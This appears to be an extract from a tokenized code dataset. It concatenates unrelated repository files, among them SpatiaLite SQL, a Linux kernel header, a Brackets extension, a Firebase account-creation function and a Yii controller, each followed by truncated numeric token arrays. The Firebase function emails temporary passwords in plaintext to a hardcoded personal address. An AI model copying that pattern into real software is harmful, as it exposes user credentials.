CreateSpatialIndex('mapgeoms','geoms')) END;; CREATE TABLE IF NOT EXISTS maperas ( era_id INTEGER PRIMARY KEY AUTOINCREMENT, era_type varchar(50) NOT NULL, era_name varchar(200) NOT NULL );; SELECT CASE (SELECT count(*) FROM sqlite_master WHERE type='trigger' AND name='ggi_maperas_eras') WHEN 1 THEN (SELECT 1) ELSE (SELECT AddGeometryColumn('maperas', 'eras', -1, 'GEOMETRY', 'XY', 1)) END;; CREATE INDEX IF NOT EXISTS era_type_idx ON maperas(era_type);; SELECT CASE (SELECT count(*) FROM sqlite_master WHERE type='table' AND name='idx_maperas_eras') WHEN 1 THEN (SELECT 1) ELSE (SELECT CreateSpatialIndex('maperas','eras')) END;;
tilemapjp/OpenTileMap
sql/sqlite.sql
SQL
mit
3,559
[ 30522, 3443, 2795, 2065, 2025, 6526, 6521, 1006, 8909, 25869, 1006, 5824, 1007, 3078, 3145, 1010, 5219, 1035, 2951, 3793, 1007, 1025, 1025, 3443, 2795, 2065, 2025, 6526, 5198, 1006, 5310, 1035, 8909, 16109, 3078, 3145, 8285, 2378, 16748, ...
[ 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0...
[ 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1...
[ -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100...
#ifndef LINUX_HARDIRQ_H #define LINUX_HARDIRQ_H #include <linux/preempt.h> #include <linux/lockdep.h> #include <linux/ftrace_irq.h> #include <asm/hardirq.h> /* * We put the hardirq and softirq counter into the preemption * counter. The bitmask has the following meaning: * * - bits 0-7 are the preemption count (max preemption depth: 256) * - bits 8-15 are the softirq count (max # of softirqs: 256) * * The hardirq count can in theory reach the same as NR_IRQS. * In reality, the number of nested IRQS is limited to the stack * size as well. For archs with over 1000 IRQS it is not practical * to expect that they will all nest. We give a max of 10 bits for * hardirq nesting. An arch may choose to give less than 10 bits. * m68k expects it to be 8. * * - bits 16-25 are the hardirq count (max # of nested hardirqs: 1024) * - bit 26 is the NMI_MASK * - bit 28 is the PREEMPT_ACTIVE flag * * PREEMPT_MASK: 0x000000ff * SOFTIRQ_MASK: 0x0000ff00 * HARDIRQ_MASK: 0x03ff0000 * NMI_MASK: 0x04000000 */ #define PREEMPT_BITS 8 #define SOFTIRQ_BITS 8 #define NMI_BITS 1 #define MAX_HARDIRQ_BITS 10 #ifndef HARDIRQ_BITS # define HARDIRQ_BITS MAX_HARDIRQ_BITS #endif #if HARDIRQ_BITS > MAX_HARDIRQ_BITS #error HARDIRQ_BITS too high! #endif #define PREEMPT_SHIFT 0 #define SOFTIRQ_SHIFT (PREEMPT_SHIFT + PREEMPT_BITS) #define HARDIRQ_SHIFT (SOFTIRQ_SHIFT + SOFTIRQ_BITS) #define NMI_SHIFT (HARDIRQ_SHIFT + HARDIRQ_BITS) #define __IRQ_MASK(x) ((1UL << (x))-1) #define PREEMPT_MASK (__IRQ_MASK(PREEMPT_BITS) << PREEMPT_SHIFT) #define SOFTIRQ_MASK (__IRQ_MASK(SOFTIRQ_BITS) << SOFTIRQ_SHIFT) #define HARDIRQ_MASK (__IRQ_MASK(HARDIRQ_BITS) << HARDIRQ_SHIFT) #define NMI_MASK (__IRQ_MASK(NMI_BITS) << NMI_SHIFT) #define PREEMPT_OFFSET (1UL << PREEMPT_SHIFT) #define SOFTIRQ_OFFSET (1UL << SOFTIRQ_SHIFT) #define HARDIRQ_OFFSET (1UL << HARDIRQ_SHIFT) #define NMI_OFFSET (1UL << NMI_SHIFT) #define SOFTIRQ_DISABLE_OFFSET (2 * SOFTIRQ_OFFSET) #ifndef PREEMPT_ACTIVE #define PREEMPT_ACTIVE_BITS 1 #define PREEMPT_ACTIVE_SHIFT (NMI_SHIFT + NMI_BITS) #define PREEMPT_ACTIVE (__IRQ_MASK(PREEMPT_ACTIVE_BITS) << PREEMPT_ACTIVE_SHIFT) #endif #if PREEMPT_ACTIVE < (1 << (NMI_SHIFT + NMI_BITS)) #error PREEMPT_ACTIVE is too low! #endif #define hardirq_count() (preempt_count() & HARDIRQ_MASK) #define softirq_count() (preempt_count() & SOFTIRQ_MASK) #define irq_count() (preempt_count() & (HARDIRQ_MASK | SOFTIRQ_MASK \ | NMI_MASK)) /* * Are we doing bottom half or hardware interrupt processing? * Are we in a softirq context? Interrupt context? * in_softirq - Are we currently processing softirq or have bh disabled? * in_serving_softirq - Are we currently processing softirq? */ #define in_irq() (hardirq_count()) #define in_softirq() (softirq_count()) #define in_interrupt() (irq_count()) #define in_serving_softirq() (softirq_count() & SOFTIRQ_OFFSET) /* * Are we in NMI context? */ #define in_nmi() (preempt_count() & NMI_MASK) #if defined(CONFIG_PREEMPT_COUNT) # define PREEMPT_CHECK_OFFSET 1 #else # define PREEMPT_CHECK_OFFSET 0 #endif /* * Are we running in atomic context? WARNING: this macro cannot * always detect atomic context; in particular, it cannot know about * held spinlocks in non-preemptible kernels. Thus it should not be * used in the general case to determine whether sleeping is possible. * Do not use in_atomic() in driver code. */ #define in_atomic() ((preempt_count() & ~PREEMPT_ACTIVE) != 0) /* * Check whether we were atomic before we did preempt_disable(): * (used by the scheduler, *after* releasing the kernel lock) */ #define in_atomic_preempt_off() \ ((preempt_count() & ~PREEMPT_ACTIVE) != PREEMPT_CHECK_OFFSET) #ifdef CONFIG_PREEMPT_COUNT # define preemptible() (preempt_count() == 0 && !irqs_disabled()) # define IRQ_EXIT_OFFSET (HARDIRQ_OFFSET-1) #else # define preemptible() 0 # define IRQ_EXIT_OFFSET HARDIRQ_OFFSET #endif extern void synchronize_irq(unsigned int irq); struct task_struct; #if !defined(CONFIG_VIRT_CPU_ACCOUNTING) && !defined(CONFIG_IRQ_TIME_ACCOUNTING) static inline void account_system_vtime(struct task_struct *tsk) { } #else extern void account_system_vtime(struct task_struct *tsk); #endif #if defined(CONFIG_TINY_RCU) || defined(CONFIG_TINY_PREEMPT_RCU) static inline void rcu_nmi_enter(void) { } static inline void rcu_nmi_exit(void) { } #else extern void rcu_nmi_enter(void); extern void rcu_nmi_exit(void); #endif /* * It is safe to do non-atomic ops on ->hardirq_context, * because NMI handlers may not preempt and the ops are * always balanced, so the interrupted value of ->hardirq_context * will always be restored. */ #define __irq_enter() \ do { \ account_system_vtime(current); \ add_preempt_count(HARDIRQ_OFFSET); \ trace_hardirq_enter(); \ } while (0) /* * Enter irq context (on NO_HZ, update jiffies): */ extern void irq_enter(void); /* * Exit irq context without processing softirqs: */ #define __irq_exit() \ do { \ trace_hardirq_exit(); \ account_system_vtime(current); \ sub_preempt_count(HARDIRQ_OFFSET); \ } while (0) /* * Exit irq context and process softirqs if needed: */ extern void irq_exit(void); #define nmi_enter() \ do { \ ftrace_nmi_enter(); \ BUG_ON(in_nmi()); \ add_preempt_count(NMI_OFFSET + HARDIRQ_OFFSET); \ lockdep_off(); \ rcu_nmi_enter(); \ trace_hardirq_enter(); \ } while (0) #define nmi_exit() \ do { \ trace_hardirq_exit(); \ rcu_nmi_exit(); \ lockdep_on(); \ BUG_ON(!in_nmi()); \ sub_preempt_count(NMI_OFFSET + HARDIRQ_OFFSET); \ ftrace_nmi_exit(); \ } while (0) #endif /* LINUX_HARDIRQ_H */
mostafa-z/Gabriel_MM
include/linux/hardirq.h
C
gpl-2.0
5,699
[ 30522, 1001, 2065, 13629, 2546, 11603, 1035, 2524, 4313, 4160, 1035, 1044, 1001, 9375, 11603, 1035, 2524, 4313, 4160, 1035, 1044, 1001, 2421, 1026, 11603, 1013, 3653, 6633, 13876, 1012, 1044, 1028, 1001, 2421, 1026, 11603, 1013, 5843, 3207,...
[ 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0...
[ 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1...
[ -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100...
--- permalink: /csc_448_2020_spring/technology/ title: "CSC 448 Bioinformatics Algorithms" excerpt: "Anderson Data Science Research Lab." --- {% include base_path %} # Table of contents 1. [Syllabus](/csc_448_2020_spring/) 2. [Schedule](/csc_448_2020_spring/schedule/) 3. [Technology](/csc_448_2020_spring/technology/) 4. [Project](/csc_448_2020_spring/project/) 5. [Deadlines](/csc_448_2020_spring/deadlines/) 6. [Corrections](/csc_448_2020_spring/corrections/) # Anaconda <a href="https://www.anaconda.com/distribution/">Download the Python 3.7 version for your platform</a> # GitHub classroom We will use GitHub classroom to manage all turn in procedures. Links to assignments will be provided on the schedule. # Slack and Canvas We will use both Slack and Canvas. Please check Canvas for high priority announcements and official grades. Slack is a better platform for more frequent and casual communication.
Anderson-Lab/anderson-lab.github.io
csc_448_2020_spring/technology.md
Markdown
mit
917
[ 30522, 1011, 1011, 1011, 2566, 9067, 19839, 1024, 1013, 20116, 2278, 1035, 4008, 2620, 1035, 12609, 1035, 3500, 1013, 2974, 1013, 2516, 1024, 1000, 20116, 2278, 4008, 2620, 16012, 2378, 14192, 17592, 13792, 1000, 28142, 1024, 1000, 5143, 29...
[ 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0...
[ 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1...
[ -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100...
<head> <title>{{ site.title }}</title> <link rel="stylesheet" href="http://ivaynberg.github.io/select2/select2-{{ page.version }}/select2.css"> <link rel="stylesheet" href="http://twbs.github.io/bootstrap/dist/css/bootstrap.css"> <link rel="stylesheet" href="http://glyphicons.getbootstrap.com/css/bootstrap-glyphicons.css"> <link rel="stylesheet" href="select2-bootstrap.css"> <link rel="stylesheet" href="gh-pages.css"> </head>
fransfilastap/pm5
src/main/resources/static/vendor/select2-bootstrap-css/_includes/head.html
HTML
apache-2.0
442
[ 30522, 1026, 2132, 1028, 1026, 2516, 1028, 1063, 1063, 2609, 1012, 2516, 1065, 1065, 1026, 1013, 2516, 1028, 1026, 4957, 2128, 2140, 1027, 1000, 6782, 21030, 2102, 1000, 17850, 12879, 1027, 1000, 8299, 1024, 1013, 1013, 4921, 4710, 11144, ...
[ 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0...
[ 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1...
[ -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100...
/*jslint node: true, vars: true, plusplus: true, devel: true, nomen: true, regexp: true, indent: 2, maxerr: 50*/ /*global define, $, brackets, Mustache, window, appshell*/ define(function (require, exports, module) { "use strict"; // HEADER >> var NodeConnection = brackets.getModule("utils/NodeConnection"), Menus = brackets.getModule("command/Menus"), CommandManager = brackets.getModule("command/CommandManager"), Commands = brackets.getModule("command/Commands"), PreferencesManager = brackets.getModule("preferences/PreferencesManager"), _ = brackets.getModule("thirdparty/lodash"), KeyBindingManager = brackets.getModule("command/KeyBindingManager"); var ExtensionDiagnosis = require("modules/ExtensionDiagnosis"), Log = require("modules/Log"), Panel = require("modules/Panel"), FileTreeView = require("modules/FileTreeView"), Strings = require("strings"); var treeViewContextMenu = null; var _nodeConnection = null; var showMainPanel, initTreeViewContextMenu, setRootMenu, setDebugMenu, reloadBrackets, treeViewContextMenuState; var _disableTreeViewContextMenuAllItem; //<< var ContextMenuIds = { TREEVIEW_CTX_MENU: "kohei-synapse-treeview-context-menu" }; var ContextMenuCommandIds = { SYNAPSE_FILE_NEW: "kohei.synapse.file_new", SYNAPSE_DIRECTORY_NEW: "kohei.synapse.directory_new", SYNAPSE_FILE_REFRESH: "kohei.synapse.file_refresh", SYNAPSE_FILE_RENAME: "kohei.synapse.file_rename", SYNAPSE_DELETE: "kohei.synapse.delete" }; var MenuText = { SYNAPSE_CTX_FILE_NEW: Strings.SYNAPSE_CTX_FILE_NEW, SYNAPSE_CTX_DIRECTORY_NEW: Strings.SYNAPSE_CTX_DIRECTORY_NEW, SYNAPSE_CTX_FILE_REFRESH: Strings.SYNAPSE_CTX_FILE_REFRESH, SYNAPSE_CTX_FILE_RENAME: Strings.SYNAPSE_CTX_FILE_RENAME, SYNAPSE_CTX_DELETE: Strings.SYNAPSE_CTX_DELETE }; var Open_TreeView_Context_Menu_On_Directory_State = [ ContextMenuCommandIds.SYNAPSE_FILE_NEW, ContextMenuCommandIds.SYNAPSE_DIRECTORY_NEW, ContextMenuCommandIds.SYNAPSE_DELETE, ContextMenuCommandIds.SYNAPSE_FILE_REFRESH, ContextMenuCommandIds.SYNAPSE_FILE_RENAME ]; var Open_TreeView_Context_Menu_On_Linked_Directory_State = [ ContextMenuCommandIds.SYNAPSE_FILE_NEW, ContextMenuCommandIds.SYNAPSE_DIRECTORY_NEW, ContextMenuCommandIds.SYNAPSE_DELETE, ContextMenuCommandIds.SYNAPSE_FILE_REFRESH ]; var Open_TreeView_Context_Menu_On_File_State = [ ContextMenuCommandIds.SYNAPSE_FILE_RENAME, ContextMenuCommandIds.SYNAPSE_DELETE ]; var Open_TreeView_Context_Menu_On_Linked_File_State = [ ContextMenuCommandIds.SYNAPSE_FILE_RENAME, ContextMenuCommandIds.SYNAPSE_DELETE ]; var Open_TreeView_Context_Menu_On_Root_State = [ ContextMenuCommandIds.SYNAPSE_FILE_NEW, ContextMenuCommandIds.SYNAPSE_DIRECTORY_NEW, ContextMenuCommandIds.SYNAPSE_FILE_REFRESH ]; showMainPanel = function () { CommandManager.execute("kohei.synapse.mainPanel"); }; treeViewContextMenuState = function (entity) { _disableTreeViewContextMenuAllItem(); if (entity.class === "treeview-root") { Open_TreeView_Context_Menu_On_Root_State.forEach(function (id) { CommandManager.get(id).setEnabled(true); }); return; } if (entity.class === "treeview-directory") { Open_TreeView_Context_Menu_On_Directory_State.forEach(function (id) { CommandManager.get(id).setEnabled(true); }); return; } else if (entity.class === "treeview-ldirectory") { Open_TreeView_Context_Menu_On_Linked_Directory_State.forEach(function (id) { CommandManager.get(id).setEnabled(true); }); return; } else if (entity.class === "treeview-file") { Open_TreeView_Context_Menu_On_File_State.forEach(function (id) { CommandManager.get(id).setEnabled(true); }); return; } }; setRootMenu = function (domain) { var menu = CommandManager.register( "Synapse", "kohei.synapse.mainPanel", Panel.showMain); var topMenu = Menus.getMenu(Menus.AppMenuBar.VIEW_MENU); topMenu.addMenuDivider(); topMenu.addMenuItem(menu, { key: "Ctrl-Shift-Alt-Enter", displayKey: "Ctrl-Shift-Alt-Enter" }); //For Debug > //Panel.showMain(); setDebugMenu(); return new $.Deferred().resolve(domain).promise(); }; setDebugMenu = function () { var menu = CommandManager.register( "Reload App wiz Node", "kohei.syanpse.reloadBrackets", reloadBrackets); var topMenu = Menus.getMenu(Menus.AppMenuBar.VIEW_MENU); topMenu.addMenuDivider(); topMenu.addMenuItem(menu, { key: "Ctrl-Shift-F6", displeyKey: "Ctrl-Shift-F6" }); }; reloadBrackets = function () { try { _nodeConnection.domains.base.restartNode(); CommandManager.execute(Commands.APP_RELOAD); } catch (e) { console.log("SYNAPSE ERROR - Failed trying to restart Node", e); } }; initTreeViewContextMenu = function () { var d = new $.Deferred(); CommandManager .register(MenuText.SYNAPSE_CTX_FILE_REFRESH, ContextMenuCommandIds.SYNAPSE_FILE_REFRESH, FileTreeView.refresh); CommandManager .register(MenuText.SYNAPSE_CTX_FILE_RENAME, ContextMenuCommandIds.SYNAPSE_FILE_RENAME, FileTreeView.rename); CommandManager .register(MenuText.SYNAPSE_CTX_FILE_NEW, ContextMenuCommandIds.SYNAPSE_FILE_NEW, FileTreeView.newFile); CommandManager .register(MenuText.SYNAPSE_CTX_DIRECTORY_NEW, ContextMenuCommandIds.SYNAPSE_DIRECTORY_NEW, FileTreeView.newDirectory); CommandManager .register(MenuText.SYNAPSE_CTX_DELETE, ContextMenuCommandIds.SYNAPSE_DELETE, FileTreeView.removeFile); treeViewContextMenu = Menus.registerContextMenu(ContextMenuIds.TREEVIEW_CTX_MENU); treeViewContextMenu .addMenuItem(ContextMenuCommandIds.SYNAPSE_FILE_REFRESH); treeViewContextMenu .addMenuItem(ContextMenuCommandIds.SYNAPSE_FILE_RENAME, null, Menus.LAST, null); treeViewContextMenu .addMenuDivider(); treeViewContextMenu .addMenuItem(ContextMenuCommandIds.SYNAPSE_FILE_NEW, null, Menus.LAST, null); treeViewContextMenu .addMenuItem(ContextMenuCommandIds.SYNAPSE_DIRECTORY_NEW, null, Menus.LAST, null); treeViewContextMenu .addMenuDivider(); treeViewContextMenu .addMenuItem(ContextMenuCommandIds.SYNAPSE_DELETE, null, Menus.LAST, null); $("#synapse-treeview-container").contextmenu(function (e) { FileTreeView.onTreeViewContextMenu(e, treeViewContextMenu); }); return d.resolve().promise(); }; /* Private Methods */ _disableTreeViewContextMenuAllItem = function () { if (treeViewContextMenu === null) { return; } _.forIn(ContextMenuCommandIds, function (val, key) { CommandManager.get(val).setEnabled(false); }); }; /* for Debug */ _nodeConnection = new NodeConnection(); _nodeConnection.connect(true); exports.showMainPanel = showMainPanel; exports.setRootMenu = setRootMenu; exports.initTreeViewContextMenu = initTreeViewContextMenu; exports.ContextMenuCommandIds = ContextMenuCommandIds; exports.ContextMenuIds = ContextMenuIds; exports.treeViewContextMenuState = treeViewContextMenuState; exports.getModuleName = function () { return module.id; }; });
marcandrews/brackets-synapse
modules/Menu.js
JavaScript
mit
7,210
[ 30522, 1013, 1008, 1046, 22908, 2102, 13045, 1024, 2995, 1010, 13075, 2015, 1024, 2995, 1010, 4606, 24759, 2271, 1024, 2995, 1010, 16475, 2884, 1024, 2995, 1010, 2053, 3549, 1024, 2995, 1010, 19723, 10288, 2361, 1024, 2995, 1010, 27427, 476...
[ 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0...
[ 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1...
[ -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100...
import { getEmailTransport, initializeAdminApp } from './_internal'; import * as functions from 'firebase-functions'; import { District, GroupCreateInput, RepresentativeCreateInput } from '@civ/city-council'; import { createRandomString } from './utils'; const app = initializeAdminApp(); const db = app.database(); const auth = app.auth(); const cors = require('cors')({ origin: true }); export const createGroup = functions.https.onRequest((request, response) => { cors(request, response, () => { console.info(`Creating group for input:`); console.info(request.body); doCreateGroup(request.body as GroupCreateInput).then(groupId => { console.info(`Successfully created group ${groupId}`); response.status(201).send({ success: true, groupId }); }).catch(error => { console.error(`Error creating group: ${JSON.stringify(error)}`); console.error(error); response.status(500).send({ success: false, error }); }) }); }); export async function doCreateGroup(groupInput: GroupCreateInput) { const groupId = await pushBasicInfo(groupInput.name, groupInput.icon, groupInput.adminId); console.info(`pushed basic info - new group id: ${groupId}`); const repDataMap = groupInput.representatives.reduce((result, repData) => ({ ...result, [repData.id]: repData }), {}); console.info(`creating rep user accounts`); //create user accounts for each representative, const repPushes: Promise<{ inputId: string, outputId: string }[]> = Promise.all( groupInput.representatives.map(repData => new Promise((resolve, reject) => { return createUserAccountForRepresentative(repData, { id: groupId, name: groupInput.name }) .then(outputId => resolve({ inputId: repData.id, outputId })) .catch(err => reject(err)) }) ) ); const repIdMap: { [inputId: string]: string } = (await repPushes).reduce( (result, entry: any) => ({ ...result, [entry.inputId]: entry.outputId }), {}); console.info(`adding rep info to group`); //push representative objects (keyed by user id) to group await Promise.all(Object.keys(repIdMap) .map(inputId => addRepresentativeInfoToGroup(repIdMap[ inputId ], repDataMap[ inputId ], groupId)) ); console.info(`creating districts`); //create districts, linking to representatives by correct userId const districts = await Promise.all(groupInput.districts.map(data => new Promise((resolve, reject) => createDistrict(groupId, data.name, repIdMap[ data.representative ]) .then(id => resolve({ ...data, id })) ))); //finally, update rep user objects to attach them to their respective districts console.info('updating rep user groups'); await Promise.all(districts.map((district: District) => { let repId = repIdMap[ district.representative ]; return updateRepresentativeGroups(repId, { id: groupId, name: groupInput.name }, { id: district.id, name: district.name }) })); return groupId; } async function createDistrict(groupId: string, name: string, representative: string) { const result = await db.ref(`/group/${groupId}/districts`).push({ name, representative }); return result.key; } async function addRepresentativeInfoToGroup(repId: string, repData: RepresentativeCreateInput, groupId: string) { return await db.ref(`/group/${groupId}/representatives`).update({ [repId]: { firstName: repData.firstName, lastName: repData.lastName, icon: repData.icon, email: repData.email, title: repData.title } }) } async function pushBasicInfo(name: string, icon: string, owner: string): Promise<string> { console.info(`pushing basic info: {name: ${name}, icon: ${icon}, owner: ${owner}`); const result = await db.ref(`/group`).push({ name, icon, owner }); return result.key; } async function createUserAccountForRepresentative(input: RepresentativeCreateInput, group: { id: string, name: string }, district?: { id: string, name: string }): Promise<string> { let password = createRandomString(), userId: string; try { userId = await createAuthAccount(input.email, password); console.info('DONE creating auth account'); } catch (err) { console.error('ERROR creating auth account'); console.error(err); throw new Error(`Error creating auth account: ${JSON.stringify(err)}`); } try { await createUserPrivateEntry(userId, input.email); } catch (err) { console.error('ERROR creating user private entry'); throw new Error(`Error creating userPrivate entry: ${JSON.stringify(err)}`); } console.info('DONE creating user private entry'); try { await createUserPublicEntry(userId, input.firstName, input.lastName, input.icon); console.info('DONE creating user public entry'); } catch (err) { console.error('ERROR creating user public entry'); console.error(err); throw new Error(`Error creating userPublic entry: ${JSON.stringify(err)}`); } try { await sendRepresentativeEmail('drew@civinomics.com', password, input.firstName, group.name); console.info(`DONE sending email to ${input.email}`); } catch (err) { console.error(`ERROR sending email to ${input.email}`); console.error(err); /* if (err){ throw new Error(`Error sending representative email: ${JSON.stringify(err)}`); }*/ } console.info(`DONE creating rep account for ${input.firstName} ${input.lastName}`); return userId; async function createAuthAccount(email: string, password: string): Promise<string> { const result = await auth.createUser({ email, password, emailVerified: true }); return result.uid; } async function createUserPrivateEntry(id: string, email: string) { return await db.ref(`/user_private/${id}`).set({ email, isVerified: true }); } async function createUserPublicEntry(id: string, firstName: string, lastName: string, icon: string) { return await db.ref(`/user/${id}`).set({ firstName, lastName, icon }) } function sendRepresentativeEmail(email: string, password: string, name: string, groupName: string) { const msg = { to: email, subject: `Your new Civinomics Account`, html: ` <div> <p>Greetings, ${name}</p> <p>${groupName} has recently begun using Civinomics, and you were listed as a representative. </p> <p>A new account has been created for you - you can sign in <a href="https://civinomics.com/log-in">here</a> using the following credentials: </p> </div>g <strong>email:</strong> ${email} <strong>temporary password: </strong> ${password} </div> <div> <p> If you have any questions, don't hesitate to contact us at <a href="mailto:info@civinomics.com">info@civinomics.com</a> </p> <p>Look forward to seeing you online! </p> <p>-Team Civinomics</p> </div> ` }; return new Promise((resolve, reject) => { const transport = getEmailTransport(); transport.sendMail(msg, (err, info) => { if (err) { reject(err); return; } resolve(info); console.log(`sent: ${JSON.stringify(info)}`); }); }); } } async function updateRepresentativeGroups(repId: string, group: { id: string, name: string }, district?: { id: string, name: string }) { let obj: any = { [group.id]: { name: group.name, role: 'representative', district } }; if (district) { obj.district = { id: district.id, name: district.name } } return await db.ref(`/user/${repId}/groups`).update(obj); }
civinomics/city-council
cloud/functions/src/create-group.ts
TypeScript
mit
7,829
[ 30522, 12324, 1063, 2131, 14545, 4014, 6494, 3619, 6442, 1010, 3988, 4697, 4215, 22311, 9397, 1065, 2013, 1005, 1012, 1013, 1035, 4722, 1005, 1025, 12324, 1008, 2004, 4972, 2013, 1005, 2543, 15058, 1011, 4972, 1005, 1025, 12324, 1063, 2212,...
[ 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0...
[ 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1...
[ -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100...
<?php class TrainingController extends Controller { private function modal(){ $cs = Yii::app()->clientScript; $modal_url = Yii::app()->theme->baseUrl . '/js/osx/'; $cs->registerCssFile($modal_url . 'css/osx.css'); $cs->registerCss('modal', ' div#osx-modal-data a:link, div#osx-modal-data a:visited { color: #F01800; text-decoration: none; } div#osx-modal-data a:hover { text-decoration: underline; } '); $cs->registerScriptFile($modal_url . 'js/jquery.simplemodal.js', CClientScript::POS_END); $cs->registerScriptFile($modal_url . 'js/osx.js', CClientScript::POS_END); $cs->registerScript('modal', '$("input.osx").click();', CClientScript::POS_READY); } public function actionIndex(){ $this->modal(); $this->render('index'); } public function actionDetails($item){ $valid = array( 'symfony', 'drupal', 'python-django', 'xhtml-css', 'gnu-linux', 'proyecto-alba', ); if (!in_array($item, $valid)){ throw new CHttpException(404); } if($item != 'proyecto-alba'){ $this->modal(); } $this->render('details', array('item' => $item)); } }
pressEnter/www
protected/controllers/TrainingController.php
PHP
gpl-3.0
1,139
[ 30522, 1026, 1029, 25718, 2465, 2731, 8663, 13181, 10820, 8908, 11486, 1063, 2797, 3853, 16913, 2389, 1006, 1007, 1063, 1002, 20116, 1027, 12316, 2072, 1024, 1024, 10439, 1006, 1007, 1011, 1028, 7846, 23235, 1025, 1002, 16913, 2389, 1035, 2...
